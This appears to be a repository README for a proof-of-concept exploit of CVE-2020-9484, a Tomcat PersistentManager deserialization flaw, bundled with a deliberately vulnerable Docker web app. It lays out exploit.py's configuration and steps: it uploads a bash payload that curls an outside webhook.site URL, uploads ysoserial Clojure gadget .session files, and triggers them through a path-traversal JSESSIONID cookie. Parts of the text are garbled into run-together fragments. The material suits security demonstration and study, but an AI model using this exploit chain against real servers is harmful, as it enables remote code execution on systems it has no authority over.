
PoC exploit for CVE-2020-9484, and a vulnerable web application for its demonstration
This repository contains a proof of concept exploit for CVE-2020-9484, along with an example web server that is vulnerable to this exploit.
Affected tomcat versions are:
PersistentManager is enabled and it is using a FileStore..session files), and knows the location where it is uploaded.clojure or commons-collections) that can be used for a Java deserialization attack.The example service is a web server with two pages, (or simply ) and . It allows the user to upload and download files (specific to the current session), effectively acting as file storage.
/index.jsp//list.jsp/upload supporting file upload, and allows the user to choose the file name. This makes it possible to upload files with the extension .session. It is also known that the server stores the files in the directory /var/tmp/uploads.PersistentManager enabled using a FileStore. (see context.xml)clojure:1.8.0 in the classpath thus facilitating deserialization attack. (see pom.xml)To set up the example vulnerable service:
$ cd sample-vulnerable-server
$ docker build -t vulnerable_tomcat .
$ docker run -p 8085:8080 vulnerable_tomcat
The service should now be up and running at http://localhost:8085/POC_CVE-2020-9484/.
Now adjust the configuration variables at the beginning of exploit.py. The PAYLOAD, here a shell script, can be any file that can be executed by the server.
UPLOAD_URL = 'http://localhost:8085/POC_CVE-2020-9484/upload' # vulnerable service's file upload endpoint
FILE_UPLOAD_FORM_FIELD = 'file' # as in the upload page's html form
FILE_UPLOAD_BASE_PATH = '/var/tmp/uploads/' # the location where the vulnerable service stores uploaded files on its server
JAVABIN = os.path.expanduser('~/.jdks/corretto-11.0.24/bin/java') # path to java executable, java 11 preferred; yoserial doesn't support newer versions
PAYLOAD = '''\
#!/bin/bash
curl https://webhook.site/4767be3e-f031-4f72-8605-5107d677b1c0/?RCE_SUCCESSFULLY_DEMONSTRATED
'''.encode() # payload for determining whether RCE attempt was successful.
YOSERIAL_PAYLOAD_TYPE = "Clojure" # this must be present in vulnerable server dependencies, for more details see https://github.com/frohoff/ysoserial?tab=readme-ov-file#usage
Now run exploit.py. It performs the following actions:
.session files), which will eventually get deserialized on the server:
PAYLOAD file uploaded to the server.PAYLOAD file on the server.PAYLOAD as a file to the server..session files generated above to the server.JSESSIONID cookie being the path of the previously uploaded .sesssion files relative to the server's session storage, thus triggering their deserialization on the server and subsequent execution of the payload./path/to/uploads/base/directory/<value of JSESSIONID cookie>/uploads/filename. In such a case, using a JSESSIONID of the form ../../../../tmp (instead of an arbitrary value like "1337"*8 used in exploit.py above) with the file upload POST request can potentially be helpful in determining where the uploaded file is stored on the server.